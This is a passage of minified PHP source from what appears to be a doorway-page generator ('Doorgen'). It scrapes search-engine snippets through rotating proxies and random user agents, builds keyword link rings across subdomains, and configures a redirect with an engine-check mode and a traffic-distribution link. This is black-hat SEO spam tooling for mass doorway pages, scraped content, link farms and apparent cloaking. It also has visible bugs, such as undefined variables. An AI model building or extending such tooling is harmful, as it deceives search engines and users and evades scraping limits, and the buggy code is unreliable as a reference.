SetLocalIpManager($local_ip_manager){if($local_ip_manager)$this->LocalIpManager=$local_ip_manager;}public $StreanCunt;public function SetStreamCount($count){$this->StreamCount=$count;}public $MaxTimeout=100;public function SetMaxTimeout($value){$this->MaxTimeout=$value;}var $max_uptime=30;var $max_size=1024000;private $time_start=0;private $time_total=0;private $_pool=array();private $_sockets=array();private $boundary="";private $pool_count=0;public function HTTP_Request($charset='UTF-8'){$this->text_output_charset=$charset;$this->boundary="NEXT" .md5(uniqid(microtime()));$this->UserAgentsManager=new UserAgentsManager();$this->ProxyManager=new ProxyManager();$this->LocalIpManager=new LocalIpAsProxyManager();}public function AddUrl($Url,$Referer=false,$OtherData=false){if(!$Url)return false;$RequestData=new RequestData($Url);$RequestData->SetState(RequestData::STATE_RETRIEVING);$RequestData->SetUserAgent($this->UserAgentsManager->RrandomUserAgent());$proxy=$this->LocalIpManager->RandomValidProxy();$proxy=$proxy?$proxy:$this->ProxyManager->RandomValidProxy();$RequestData->SetProxy($proxy);$RequestData->SetReferer($Referer);$RequestData->SetRequestMethod(RequestData::METHOD_GET);$RequestData->SetOtherData($OtherData);$RequestData->MakeRequest();$this->_pool[$this->pool_count++]=$RequestData;}public function AddUrlWithPostData($Url,$PostData,$UseMultipart=false,$Referer="",$OtherData=false){if(!$url)return false;$RequestData=new RequestData($url);$RequestData->SetState(RequestData::STATE_RETRIEVING);$RequestData->SetUserAgent($this->UserAgentsManager->RrandomUserAgent());$proxy=$this->LocalIpManager->RandomValidProxy();$proxy=$proxy?$proxy:$this->ProxyManager->RandomValidProxy();$RequestData->SetProxy($proxy);$RequestData->SetReferer($referer);$RequestData->SetRequestMethod(RequestData::METHOD_POST);$RequestData->SetPostData($PostData,$UseMultipart);$RequestData->SetOtherData($OtherData);$RequestData->MakeRequest();$this->_pool[$this->pool_count++]=$RequestData;}public function AddUrls($UrlList){if(is_string($UrlList))$UrlList=split("[\r\n]",$UrlList);foreach($UrlList as $Url){$this->AddUrl(trim($Url));}}public function AddUrlsWithOtherData($UrlListWithOtherData){foreach($UrlListWithOtherData as $UrlWithOtherData){$this->AddUrl(trim($UrlWithOtherData->Url),false,$UrlWithOtherData->OtherData);}}public function GetResponses($only_content=false){if($this->RequestType == self::SOCKETS){return $this->GetResponsesWithSockets($only_content);}else{return $this->GetResponsesWithCurl($only_content);}}public function GetResponsesWithCurl($only_content=false){set_time_limit($this->MaxTimeout);$this->time_start=time();$timer=new RequestTimer();$timer->start();$mh=curl_multi_init();foreach($this->_pool as $thread_index => $RequestData){$this->_sockets[$thread_index]=curl_init(trim($RequestData->Url));$this->_pool[$thread_index]->State == RequestData::STATE_RETRIEVING;curl_setopt($this->_sockets[$thread_index],CURLOPT_RETURNTRANSFER,1);curl_setopt($this->_sockets[$thread_index],CURLOPT_HEADER,1);curl_setopt($this->_sockets[$thread_index],CURLOPT_FOLLOWLOCATION,1);curl_setopt($this->_sockets[$thread_index],CURLOPT_URL,$RequestData->Url);curl_setopt($this->_sockets[$thread_index],CURLOPT_REFERER,$RequestData->Referer);curl_setopt($this->_sockets[$thread_index],CURLOPT_USERAGENT,$RequestData->UserAgent);curl_setopt($this->_sockets[$thread_index],CURLOPT_TIMEOUT,$RequestData->Timeout);if($this->ProxyType == self::SOCKS4){curl_setopt($ch,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS4);}elseif($this->ProxyType == self::SOCKS5){curl_setopt($ch,CURLOPT_PROXYTYPE,CURLPROXY_SOCKS5);}if($RequestData->Proxy){if($RequestData->Proxy->ISLocalIP){curl_setopt($this->_sockets[$thread_index],CURLOPT_INTERFACE,$RequestData->Proxy->adress);}else{curl_setopt($this->_sockets[$thread_index],CURLOPT_PROXY,$RequestData->Proxy->adress .':' .$RequestData->Proxy->port);if($RequestData->Proxy->login && $RequestData->Proxy->password)curl_setopt($this->_sockets[$thread_index],CURLOPT_PROXYUSERPWD,$RequestData->Proxy->login .':' .$RequestData->Proxy->password);}}curl_setopt($this->_sockets[$thread_index],CURLOPT_MAXREDIRS,10);curl_multi_add_handle($mh,$this->_sockets[$thread_index]);$this->_pool[$thread_index]->SetConnectTimeout($timer->timeout());}do{$x=curl_multi_exec($mh,$active);}while($active);$done=0;foreach($this->_sockets as $thread_index => $socket){$timeout=$this->_pool[$thread_index]->Timeout;$temp=curl_multi_getcontent($this->_sockets[$thread_index]);$temp=Encoding::Encode($temp,$this->text_output_charset);$this->_pool[$thread_index]->Content=preg_replace("~[\n]+~ism","\n",$temp);$this->_pool[$thread_index]->Timeout=$timeout+$timer->timeout();$this->_pool[$thread_index]->SetState(RequestData::STATE_FINISHED);}curl_multi_close($mh);foreach($this->_sockets as $thread_index => $socket){curl_close($this->_sockets[$thread_index]);}$this->time_total=time()-$this->time_start;if($only_content){$result="";foreach($this->_pool as $thread_index => $url){$result .= $RequestData->Content;}$this->Clean();return $result;}return $this->_pool;}public function GetResponsesWithSockets($only_content=false){set_time_limit($this->MaxTimeout);$this->time_start=time();$timer=new RequestTimer();$timer->start();foreach($this->_pool as $thread_index => $RequestData){if(@$RequestData->Proxy->ISLocalIP){$Host=$RequestData->Host;$Port=$RequestData->Proxy?$RequestData->Proxy->port:$RequestData->Port;}else{$Host=$RequestData->Proxy?$RequestData->Proxy->adress:$RequestData->Host;$Port=$RequestData->Proxy?$RequestData->Proxy->port:$RequestData->Port;}@$socket=fsockopen($Host,$Port,$errno,$errstr,5);if($socket){$this->_sockets[$thread_index]=$socket;socket_set_blocking($socket,FALSE);socket_set_timeout($socket,$this->max_uptime);fputs($socket,$RequestData->Request);}else{$this->_pool[$thread_index]->SetState(RequestData::STATE_FAILED);}$this->_pool[$thread_index]->SetConnectTimeout($timer->timeout());}$done=0;while($done<count($this->_sockets)){foreach($this->_sockets as $thread_index => $socket){if($this->_pool[$thread_index]->State == RequestData::STATE_RETRIEVING){$timeout=$this->_pool[$thread_index]->Timeout;if($timeout<$this->max_uptime){$size=strlen($this->_pool[$thread_index]->Content);if($size<$this->max_size &&!feof($socket)){$content=fgets($socket,1024);$this->_pool[$thread_index]->AddContent($content);}else{$this->_pool[$thread_index]->SetState(RequestData::STATE_FINISHED);++$done;}}else{$this->_pool[$thread_index]->SetState(RequestData::STATE_TIMEOUT);++$done;}$this->_pool[$thread_index]->Timeout=$timeout+$timer->timeout();$this->_pool[$thread_index]->Size=strlen($this->_pool[$thread_index]->Content);}}$this->_pool[$thread_index]->Content=preg_replace("~[\n]+~ism","\n",$this->_pool[$thread_index]->Content);}foreach($this->_sockets as $thread_index => $socket){fclose($socket);}$this->time_total=time()-$this->time_start;foreach($this->_pool as $key=>$value){$this->_pool[$key]->Content=Encoding::Encode($this->_pool[$key]->Content,$this->text_output_charset);}if($only_content){$result="";foreach($this->_pool as $thread_index => $url){$result .= $RequestData->Content;}$this->Clean();return $result;}return $this->_pool;}private function Clean(){$this->_pool=array();$this->_sockets=array();}}class RequestTimer{var $time_start=0;function getmicrotime(){list($usec,$sec)=explode(' ',microtime());return (double)$usec+(double)$sec;}function start(){$this->time_start=$this->getmicrotime();}function timeout(){$timeout=$this->getmicrotime()-$this->time_start;$this->start();return $timeout;}}class Rings{private $list;public function Add($count){$this->list[]=$count;}public function GetRings(){return $this->list;}}class Parser{public $RequestType;public $ProxyType;public $ContentCount;public $MaxParsedPagesCount;public $MinSnippetLenght;public $OutputCharset;public $SnippetsCount;public $StreamCount;public $ProxyList;public $LocalIPList;public $Enabled;}class Links{public $OutPrevLinkMode;public $TotalLnksCount;public function Links(){$this->Rings=new Rings();}}class DoorInstall{public $LinksMode;public $SetCountMainPagesLinksInMap;public $CountInnerLinksInMap;public $SiteMapPatterns;public $SiteMapMainPattern;public $SiteMapTemplate;public $KeywordsFile;public $ContentFile;public function SetSiteMapPattern($Pattern,$RelativePath){$host=Config::$Doorgen->MainHost?Config::$Doorgen->MainHost:Config::GetAutoMainHost();$this->SiteMapMainPattern=new SM_Pattern($Pattern,$RelativePath,$host);}public function AddSiteMapPattern($Pattern,$RelativePath){$this->SiteMapPatterns->Add($Pattern,$RelativePath);}public function DoorInstall(){$host=Config::$Doorgen->MainHost?Config::$Doorgen->MainHost:Config::GetAutoMainHost();$this->SiteMapPatterns=new SM_Patterns($host);}}class Doorgen{public $MainHost;public $TemplateFolder;public $TemplateFile;public $MainPageFile;public $MinContentLenght;public $MaxContentLenght;public $HeadersCount;public $ContentPattern;}class Redirect{public $IncludingScriptMode;public $RedirectURL;public $CheckEngineMode;public $Enabled;}class Config{public static $Doorgen;public static $Parser;public static $Links;public static $Install;public static $Redirect;public static $TDS_Link;public static function Init(){self::$Links=new Links();self::$Parser=new Parser();self::$Doorgen=new Doorgen();self::$Redirect=new Redirect();self::$Install=new DoorInstall();}public static function GetAutoMainHost($DomainLevel=2){if(!in_array($DomainLevel,array(2,3)))die(' , - 2 3!');switch($DomainLevel){case 2:preg_match('~^.*?([^\.]+\.[^\.]+)$~ism',@$_SERVER['HTTP_HOST'],$domain);break;case 3:preg_match('~^.*?([^\.]+\.[^\.]+\.[^\.]+)$~ism',@$_SERVER['HTTP_HOST'],$domain);break;}if(isset($domain[1]))$domain=$domain[1];else die(' ! !');return $domain;}}Config::Init();class _ListItem{public $Key;public $Value;public function _ListItem($key,$value){$this->Key=$key;$this->Value=$value;}}class _List{public $list=array();private $current_index=0;public function SetListFromArray($list){if(is_string($list))$list=split("\n",$list);foreach($list as $index => $item){$this->Add($item,$index);}}public function Add($object,$index=null){if(is_string($object))$object=trim($object);if(!$object)return false;if($index){if(key_exists($index,$this->list))return false;$this->list[$index]=$object;}else $this->list[]=$object;return true;}public function Shuffle($srand=false){if($srand)srand($srand);else srand(microtime()*10000);shuffle($this->list);return $this->list;}public function RandomItem($srand=0){if(!count($this->list))return;if($srand)srand($srand);else srand(microtime()*10000);$index=array_rand($this->list);$item=$this->list[$index];return new _ListItem(key($this->list),$item);}public function RandomItems($count,$srand=0){if($srand)srand($srand);else srand(microtime()*10000);$indexes=array_rand($this->list,$count);$items=array();foreach($indexes as $key => $index){$items[$key]=$this->list[$index];}return $items;}public function Current(){if(!$item=current($this->list))return false;return new _ListItem(key($this->list),$item);}public function Count(){return count($this->list);}public function Next(){if(!$item=next($this->list))return false;return new _ListItem(key($this->list),$item);}public function Prev(){if(!$item=prev($this->list))return false;return new _ListItem(key($this->list),$item);}public function Reset(){reset($this->list);}public function First(){if(!$item=reset($this->list))return false;return new _ListItem(key($this->list),$item);}public function Last(){if(!$item=end($this->list))return false;return new _ListItem(key($this->list),$item);}public function Clear(){$this->list=array();}}class Markers{public $Query;public $Num;public $Page;public $Start;public $BasePage;}class ValueChecker{public function CheckValue($value,$message=''){$value=trim($value);if(!$value)return false;return true;}}class EngineSnippetsData extends ValueChecker{public $Name;public $URL;public $SnippetPatterns;public $NumValues;public $Formula;public $LastPage=1;public function EngineSnippetsData(){$this->SnippetPatterns=new _List();}public function SetName($value){if(!$this->CheckValue($value," "))return false;$this->Name=trim($value);return true;}public function SetURL($value){if(!$this->CheckValue($value," URL "))return false;$this->URL=$value;return true;}public function AddSnippetPattern($value){$this->SnippetPatterns->Add($value);return true;}public function SetNumValues($value){if(is_string($value))$value=explode("\n",$value);if(is_int($value))$value=array($value);$nums=array();foreach($value as $num){if($num*1)$nums[]=$num*1;}$this->NumValues=$nums;return true;}public function SetFormula($value){if(!$this->CheckValue($value," !"))return false;$this->Formula=$value;return true;}public function SetLastPage($value){$this->LastPage=$value*1;return true;}public function MakeURL($Markers){$query=urlencode(trim(iconv('cp1251','utf8',$Markers->Query)));$Formules=new Formules();$start_or_page=$Formules->Calculation($this->Formula,$Markers->BasePage,$Markers->Num);return strtr($this->URL,array('{QUERY}'=> $query,'{NUM}'=> $Markers->Num,'{PAGE}'=> $start_or_page,'{START}'=> $start_or_page));}}class Formules{const PAGE="{PAGE} = {BASE-PAGE}";const PAGEMINUS1="{PAGE} = {BASE-PAGE} - 1";const START="{START} = {BASE-PAGE} * {NUM} - {NUM}";const STARTPLUS1="{START} = {BASE-PAGE} * {NUM} + 1 - {NUM}";private $List;public $Start;public $Page;public function Formules(){$this->List=new _List();$this->List->Add(new _ListItem(self::PAGE,'PAGE'));$this->List->Add(new _ListItem(self::PAGEMINUS1,'PAGEMINUS1'));$this->List->Add(new _ListItem(self::START,'START'));$this->List->Add(new _ListItem(self::STARTPLUS1,'STARTPLUS1'));}public function Calculation($Formula,$BasePage,$Num){switch($Formula){case self::PAGE:$this->Page=$Result=$BasePage;break;case self::PAGEMINUS1:$this->Page=$Result=$BasePage-1;break;case self::START:$this->Start=$Result=$BasePage*$Num-$Num;break;case self::STARTPLUS1:$this->Start=$Result=$BasePage*$Num+1-$Num;break;default:$this->Page=$Result=$BasePage;break;}return $Result;}}class EngineSnippetsParser{public $SnippetsList;private $ContentLenght=0;public $RequestType=HTTP_Request::SOCKETS;public function SetRequestType($value){$this->RequestType=$value;}public $ProxyType;public function SetProxyType($value){$this->ProxyType=$value;}private $ProxyManager;public function SetProxyManager($ProxyManager){$this->ProxyManager=$ProxyManager;}public function SetProxyList($ProxyList){$this->ProxyManager=new ProxyManager();$this->ProxyManager->SetProxyList($ProxyList);}private $LocalIpManager;public function SetLocalIpManager($LocalIpManager){$this->LocalIpManager=$LocalIpManager;}public function SetLocalIpList($LocalIpList){$this->LocalIpManager=new LocalIpAsProxyManager();$this->LocalIpManager->SetProxyList($LocalIpList);}private $SnippetsCount=0;public function SetSnippetsCount($SnippetsCount){$this->SnippetsCount=intval($SnippetsCount);}private $ContentCount=0;public function SetContentCount($ContentCount){$this->ContentCount=intval($ContentCount)*1024;}private $MaxParsedPagesCount;public function SetMaxParsedPagesCount($MaxParsedPagesCount){$this->MaxParsedPagesCount=intval($MaxParsedPagesCount);}private $MinSnippetLenght=30;public function SetMinSnippetLenght($MinSnippetLenght){$this->MinSnippetLenght=intval($MinSnippetLenght);}private $StreamCount;public function SetStreamCount($StreamCount){$this->StreamCount=intval($StreamCount);}private $OutputCharset='cp1251';public function SetOutputCharset($OutputCharset){$this->OutputCharset=trim($OutputCharset);}public $error_content;protected $error_message;public $EnginesList;public function SetEnginesList($EnginesList){if(is_array($EnginesList)){foreach($EnginesList as $engine){$this->EnginesList->Add($engine);}}else $this->EnginesList=$EnginesList;}public $ExactResult=false;public function EngineSnippetsParser($ExactResult=false){$this->EnginesList=new _List();$this->SnippetsList=new _List();$this->ExactResult=$ExactResult;}public function AddEngine($Engine){if(!$this->EnginesList->Add($Engine,$Engine->Name))die(' , !');}function MakeUrls($query,$count){$UrlList=array();while($count){$Engine=$this->EnginesList->RandomItem()->Value;$Markers=new Markers();$Markers->BasePage=$Engine->LastPage++;$Markers->Num=max($Engine->NumValues);$Markers->Query=$query;$UrlList[]=new UrlWithOtherData($Engine->MakeURL($Markers),$Engine);$count--;}return $UrlList;}function GetSnippets($Query){if(!trim($Query))return;$content_count=0;$snippets_count=0;$pages_count=0;if(!$this->ContentCount &&!$this->SnippetsCount &&!$this->MaxParsedPagesCount)$this->SnippetsCount=500;while(1){if($this->ContentCount && $this->ContentCount <= $this->ContentLenght)break;if($this->SnippetsCount && $this->SnippetsCount <= $this->SnippetsList->Count())break;if($this->MaxParsedPagesCount && $this->MaxParsedPagesCount <= $pages_count)break;$count=$this->MaxParsedPagesCount-$pages_count<$this->StreamCount && $this->MaxParsedPagesCount?$this->MaxParsedPagesCount-$pages_count:$this->StreamCount;$UrlList=$this->MakeUrls($Query,$count);$responses=$this->GetResponses($UrlList);$count=$this->ParseSnippetsFromResponses($responses);if($count === false)return false;$pages_count+$count;}return true;}function GetResponses($UrlList){$request=new HTTP_Request($this->OutputCharset);$request->SetRequestType($this->RequestType);if($this->ProxyManager)$request->SetProxyManager($this->ProxyManager);if($this->LocalIpManager)$request->SetLocalIpManager($this->LocalIpManager);$request->AddUrlsWithOtherData($UrlList);$result=$request->GetResponses(false);return $result;}private function ParseSnippetsFromResponses($Responses){$pages_count=0;foreach($Responses as $response){if($this->ParseSnippets($response))$pages_count++;}if(!$this->SnippetsList->Count())return false;$this->SnippetsList->Shuffle();return $pages_count;}private function ParseSnippets($response){$content=$response->Content;$_snippets=array();foreach($response->OtherData->SnippetPatterns->list as $pattern){if(!preg_match_all("~{$pattern}~ism",$content,$temp_snippets))continue;$_snippets=array_merge($temp_snippets[1],$_snippets);}$snippet_count=0;foreach($_snippets as $snippet){if($this->ExactResult){if($this->ContentCount && $this->ContentCount <= $this->ContentLenght)break;if($this->SnippetsCount && $this->SnippetsCount <= $this->SnippetsList->Count())break;if($this->MaxParsedPagesCount && $this->MaxParsedPagesCount <= $pages_count)break;}$snippet=preg_replace('~<[^>]+>~ism',' ',$snippet);$snippet=preg_replace('~[\s]+~ism',' ',$snippet);$snippet=preg_replace('~ ([\.,!\?\%])~ism','\\1',$snippet);$snippet=preg_replace('~\.\.\.~ism','.',$snippet);$snippet=preg_replace('~[/]~ism','',$snippet);$snippet=preg_replace('~(www|http)[^ ]+~ism','',$snippet);$snippet=preg_replace('~\.[a-z0-9]{2,5}~ism','',$snippet);$snippet=preg_replace('~^[\.,!\?\%]+~ism','',$snippet);$snippet=preg_replace('~[\s]+~ism',' ',$snippet);if(strlen($snippet)<$this->MinSnippetLenght)continue;$snippet=trim($snippet);$this->SnippetsList->Add($snippet);$this->ContentLenght += strlen($snippet);$snippet_count++;}if($snippet_count)return true;return false;}public function error($error_message){$this->error_message=$error_message;return RESULT_ERROR;}public function error_message(){if($this->error_message)return $this->error_message;}}class keyword{public $link_body;public $anchor;public $positions;public function keyword($anchor,$link_body,$positions){$this->anchor=trim(text::format($anchor));$this->anchor_to_lower=trim(text::format($anchor,true));$this->link_body=trim($link_body);$this->positions=$positions;}}final class keywords{static public $binary_keywords_path;static public $binary_searcher;static public function init($binary_keywords_path=null,$sort_item=null,$delimiter=null){if(!file_exists($binary_keywords_path))die(' , !');self::$binary_keywords_path=$binary_keywords_path;self::$binary_searcher=new binary_search_col($binary_keywords_path,$sort_item,$delimiter);}static public function get_keyword($string){$string=preg_replace('~([/]+|\.[^\.]+$)~','',$string);$result=self::$binary_searcher->search($string);if(!$result)return false;$keyword=new keyword($result->result[1],$result->result[0],$result->positions);return $keyword;}static public function get_keyword_by_position($position){if(!$position*1)return false;$result=self::$binary_searcher->get_string_by_position($position);$keyword=new keyword($result->result[1],$result->result[0],$result->positions);return $keyword;}static public function get_keyword_by_string_position($string_position){if(!$string_position*1)return false;$keyword=self::get_keyword_by_position($string_position*self::$binary_searcher->string_lenght);return $keyword;}}final class text{static public function format($string,$all_to_lower=false){$first_letter=!$all_to_lower?strtr(substr($string,0,1),'qwertyuiopasdfghjklzxcvbnm','QWERTYUIOPASDFGHJKLZXCVBNM'):'';$string=$all_to_lower?strtr($string,'QWERTYUIOPASDFGHJKLZXCVBNM','qwertyuiopasdfghjklzxcvbnm'):trim(substr_replace($string,$first_letter,0,1));$string=strtr($string,array('--'=>'-'));return $string;}}final class Path{public function StripSlashes($path){return preg_replace('~[\\/]+~','/',$path);}}final class translate{static public function eng($string){$string=strtr($string,'','abvgdeeziyklmnoprstufhie');$string=strtr($string,'','abvgdeeziyklmnoprstufhie');$string=strtr($string,array(''=>'zh',''=>'ts',''=>'ch',''=>'sh',''=>'shch',''=>'',''=>'yu',''=>'ya',''=>'zh',''=>'ts',''=>'ch',''=>'sh',''=>'shch',''=>'',''=>'yu',''=>'ya',''=>'i',''=>'yi',''=>'ie',''=>'ie'));return $string;}}class binary_search{const ALGORITM_ONE=1;const ALGORITM_TWO=2;private $binary_file;private $algoritm=self::ALGORITM_ONE;public function binary_search($binary_file,$algoritm=self::ALGORITM_ONE){$this->binary_file=$binary_file;$this->algoritm=$algoritm;}public function search($string){if($this->algoritm == self::ALGORITM_ONE){return $this->search_with_algoritm_one($string);}else{return $this->search_with_algoritm_two($string);}}public function make_indexed_file($file_name){$data=file($file_name);sort($data);$result=array();$strlen=0;foreach($data as $str){if(trim($str)){$str=trim(strtolower($str));$result[]=$str;$len=strlen($str);$strlen=$strlen<$len?$len:$strlen;}}$data=array_unique($result);$result='';foreach($data as $str){$len=strlen($str);$len=$strlen-$len;$hvost='';while($len--){$hvost .= ' ';}$result .= $str .$hvost ."\r\n";}file_put_contents($this->binary_file,$result);}private function search_with_algoritm_one($string){$fp=fopen($this->binary_file,'r');$size=filesize($this->binary_file);$strlen=strlen(fgets($fp));$count=floor($size/$strlen);$middle=floor(($count)/2);$result=$this->bin_find($fp,$string,0,$middle,$count,$strlen);fclose($fp);return $result;}private function bin_find($fp,$string,$first,$middle,$last,$strlen,$laststring=false){$string=trim($string);if(!$string)return false;fseek($fp,$middle*$strlen);$str=trim(fgets($fp));if($laststring == $str){if($str != $string){fseek($fp,$middle-5000);$i=0;while($i<100){if(trim(fgets($fp))== $string)return $string;$i++;}return false;}}if($str>$string){$result=$this->bin_find($fp,$string,$first,floor($middle/2),$middle,$strlen,$str);}elseif($str<$string){$result=$this->bin_find($fp,$string,$middle,floor(($last+$middle)/2),$last,$strlen,$str);}elseif($str == $string){$result=$str;}else $result=false;return $result;}private function search_with_algoritm_two($string){$fp=fopen($this->binary_file,'r');$size=filesize($this->binary_file);$middle=floor(($size)/2);$result=$this->bin_find_algoritm_two($fp,$string,0,$middle,$size);fclose($fp);return $result;}private function bin_find_algoritm_two($fp,$string,$first,$middle,$last,$laststring=false){$string=trim($string);fseek($fp,$middle);while(fgetc($fp)!= "\n")fseek($fp,$middle--);$str=trim(fgets($fp));if($laststring == $str){if($str != $string){fseek($fp,$middle-5000);$i=0;while($i<100){if(trim(fgets($fp))== $string)return $string;$i++;}return false;}}if($str>$string){$result=$this->bin_find_algoritm_two($fp,$string,$first,floor($middle/2),$middle,$str);}elseif($str<$string){$result=$this->bin_find_algoritm_two($fp,$string,$middle,floor(($last+$middle)/2),$last,$str);}elseif($str == $string){$result=$str;}else $result=false;return $result;}}class positions{public $char_position;public $string_position;public function positions($char_position,$string_position){$this->char_position=$char_position;$this->string_position=$string_position;}}class binary_search_col_result{public $result;public $positions;public function binary_search_col_result($result,$char_position,$string_position){$this->result=$result;$this->positions=new positions($char_position,$string_position);}}class binary_search_col{private $binary_file;private $base_file;private $sort_item;private $delimiter;public $string_lenght;public $string_count;public function binary_search_col($binary_file,$sort_item,$delimiter){$this->base_file=$binary_file;$this->binary_file=preg_replace('~\.[^\.$]+$~ism','.index',$binary_file);$this->sort_item=$sort_item;$this->delimiter=$delimiter;if(file_exists($this->base_file)){$fp=fopen($this->base_file,'r');$size=filesize($this->base_file);$this->string_lenght=strlen(fgets($fp));$this->string_count=floor($size/$this->string_lenght);fclose($fp);}}private function sort($a,$b){return strcmp($a[$this->sort_item],$b[$this->sort_item]);}private function def_sort($a,$b){return strcmp($a[0],$b[0]);}public function make_indexes_file($data){$strlen=0;usort($data,array("binary_search_col","def_sort"));foreach($data as $item){$len=strlen(implode($this->delimiter,$item));$strlen=$strlen<$len?$len:$strlen;}foreach($data as $item){$str=implode($this->delimiter,$item);$len=strlen($str);$len=$strlen-$len;$hvost='';while($len--){$hvost .= ' ';}$result[]=$str .$hvost ."\r\n";}file_put_contents($this->binary_file,$result);}public function make_indexed_file($data){$strlen=0;shuffle($data);$i=0;$index_data=array();foreach($data as $item){$index_data[]=array($item[$this->sort_item],$i++);$len=strlen(implode($this->delimiter,$item));$strlen=$strlen<$len?$len:$strlen;}foreach($data as $item){$str=implode($this->delimiter,$item);$len=strlen($str);$len=$strlen-$len;$hvost='';while($len--){$hvost .= ' ';}$result[]=$str .$hvost ."\r\n";}file_put_contents($this->base_file,$result);$this->make_indexes_file($index_data);}public function search($string){$fp=fopen($this->binary_file,'r');$middle=floor(($this->string_count)/2);$string_lenght=strlen(fgets($fp));$result=$this->bin_find($fp,$string,0,$middle,$this->string_count,$string_lenght);fclose($fp);if(!$result)return false;$pos=$result[1];$fp=fopen($this->base_file,'r');fseek($fp,$pos*$this->string_lenght);$res=explode($this->delimiter,fgets($fp));$out_result=new binary_search_col_result($res,$pos*$this->string_lenght,$pos);$r=$this->get_string_by_position($pos*$this->string_lenght);fclose($fp);return $out_result;}public function get_string_by_position($position){if(!($position*1))return false;$fp=fopen($this->base_file,'r');if(!$fp)return false;fseek($fp,$position);$res=explode($this->delimiter,fgets($fp));$out_result=new binary_search_col_result($res,$position,$position/$this->string_lenght);fclose($fp);return $out_result;}private function bin_find($fp,$string,$first,$middle,$last,$strlen,$laststring=false){$string=trim($string);if(!$string)return false;fseek($fp,$middle*$strlen);$res=explode($this->delimiter,fgets($fp));$str=trim($res[0]);if($laststring == $str){if($str != $string){fseek($fp,$middle-5000);$i=0;while($i<100){if(trim(fgets($fp))== $string)return $string;$i++;}return false;}}if($str>$string){$result=$this->bin_find($fp,$string,$first,floor($middle/2),$middle,$strlen,$str);}elseif($str<$string){$result=$this->bin_find($fp,$string,$middle,floor(($last+$middle)/2),$last,$strlen,$str);}elseif($str == $string){$result=$res;}else $result=false;return $result;}}class link{public $anchor;public $anchor_to_lower;public $url;public $id;public function link($keyword,$url){$this->id=$keyword->positions->string_position;$this->anchor=$keyword->anchor;$this->anchor_to_lower=$keyword->anchor_to_lower;$this->url=$url;}}class linked{private $host;public function set_host($value){$this->host=$value;}const MODE_ONLY_SUBDOMAINS=1;const MODE_SUBDOMAINS_WITH_INNER_LINKS=2;const MODE_DOMAIN_WITH_INNER_LINKS=3;const MODE_ALL=4;const MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS=5;const RINGS_MODE_ONLY_SUBDOMAINS=1;const RINGS_MODE_ONLY_INNER_LINKS=2;const RINGS_MODE_INNER_LINKS_AND_FOLDERS=3;private $mode=self::MODE_SUBDOMAINS_WITH_INNER_LINKS;public function set_mode($value){if($value == self::MODE_ALL || $value == self::MODE_DOMAIN_WITH_INNER_LINKS){$this->rings_mode=self::RINGS_MODE_ONLY_INNER_LINKS;}elseif($value == self::MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS){$this->rings_mode=self::RINGS_MODE_INNER_LINKS_AND_FOLDERS;}else $this->rings_mode=self::RINGS_MODE_ONLY_SUBDOMAINS;$this->mode=$value;}private $rings_mode=self::RINGS_MODE_ONLY_INNER_LINKS;public function set_rings_mode($value){$this->rings_mode=$value;}private $main_keyword;public function set_main_keyword($value){$this->main_keyword=$value;}private $request_code;public function set_request_code($value){$this->request_code=$value;}private $total_links_count=50;public function set_total_links_count($value){$this->total_links_count=$value;}private $rings;public function add_ring($count_links_in_ring){$this->rings[]=$count_links_in_ring;}public function set_rings($rings){$this->rings=$rings;}private $out_prev_link_mode;public function set_out_prev_link_mode($value){$this->out_prev_link_mode=$value;}private $used_keyword;private function add_used_keyword($keyword){if(!$keyword)return;$this->used_keyword[$keyword->positions->string_position]=$keyword->anchor;}private function is_used_keyword($keyword){if(@$this->used_keyword[$keyword->positions->string_position]== $keyword->anchor)return true;return false;}private $links_stack;private $keywords_stack;private function enqueue_links_stack($link){if(isset($this->links_stack[$link->id]))return false;$this->links_stack[$link->id]=$link;$this->keywords_stack[]=$link->anchor;return true;}private function dequeue_links_stack(){if(count($this->links_stack)== 0)return false;$link=array_shift($this->links_stack);return $link;}private function get_keyword($number){if($number >= count($this->keywords_stack))return false;return $this->keywords_stack[$number-1];}public function out(&$tpl){$this->add_used_keyword($this->main_keyword);foreach($this->rings as $count_links_in_ring){$this->make_ring_links($count_links_in_ring);}$this->make_random_links();$this->out_meta_keywords($tpl);$this->out_numeric_keywords($tpl);$this->out_links($tpl);$this->out_links_boxes($tpl);}public function make_ring_links($count_links){if(!$this->main_keyword)return;$ring_data=$this->get_ring_data($count_links,$this->main_keyword);if($this->out_prev_link_mode)$this->enqueue_ring_link($ring_data['prev_key'],$ring_data['next_key']);$this->enqueue_ring_link($ring_data['next_key'],$ring_data['prev_key']);}public function make_random_links(){$i=0;while(1){$count=count($this->links_stack);if($count>$this->total_links_count)break;srand($this->request_code+$i+++$count);$keyword=keywords::get_keyword_by_string_position(rand(0,keywords::$binary_searcher->string_count-1));$_keyword=keywords::get_keyword_by_string_position(rand(0,keywords::$binary_searcher->string_count-1));if($keyword == $this->main_keyword){continue;}if(!$this->enqueue_random_link($keyword,$_keyword)){continue;}}}function enqueue_ring_link($keyword,$dop_keyword=null){switch($this->rings_mode){case self::RINGS_MODE_ONLY_INNER_LINKS:$result=$this->enqueue_links_stack($this->make_link($keyword));break;break;case self::RINGS_MODE_ONLY_SUBDOMAINS:$result=$this->enqueue_links_stack($this->make_subdomain($keyword));break;break;case self::RINGS_MODE_INNER_LINKS_AND_FOLDERS:switch(rand(0,1)){case 0:$result=$this->enqueue_links_stack($this->make_folder($keyword));break;case 1:$result=$this->enqueue_links_stack($this->make_folder_with_link($keyword,$dop_keyword));break;}break;}return $result;}function enqueue_random_link($keyword,$dop_keyword=null){$result=false;srand($this->request_code+count($this->links_stack));switch($this->mode){case self::MODE_ALL:switch(rand(0,2)){case 0:$result=$this->enqueue_links_stack($this->make_link($keyword));break;case 1:$result=$this->enqueue_links_stack($this->make_subdomain($keyword));break;case 2:$result=$this->enqueue_links_stack($this->make_subdomain_with_link($keyword,$dop_keyword));break;}break;case self::MODE_DOMAIN_WITH_INNER_LINKS:$result=$this->enqueue_links_stack($this->make_link($keyword));break;break;case self::MODE_ONLY_SUBDOMAINS:$result=$this->enqueue_links_stack($this->make_subdomain($keyword));break;break;case self::MODE_SUBDOMAINS_WITH_INNER_LINKS:switch(rand(0,1)){case 0:$result=$this->enqueue_links_stack($this->make_subdomain($keyword));break;case 1:$result=$this->enqueue_links_stack($this->make_subdomain_with_link($keyword,$dop_keyword));break;}break;case self::MODE_DOMAIN_WITH_FOLDER_AND_INNER_LINKS:switch(rand(0,1)){case 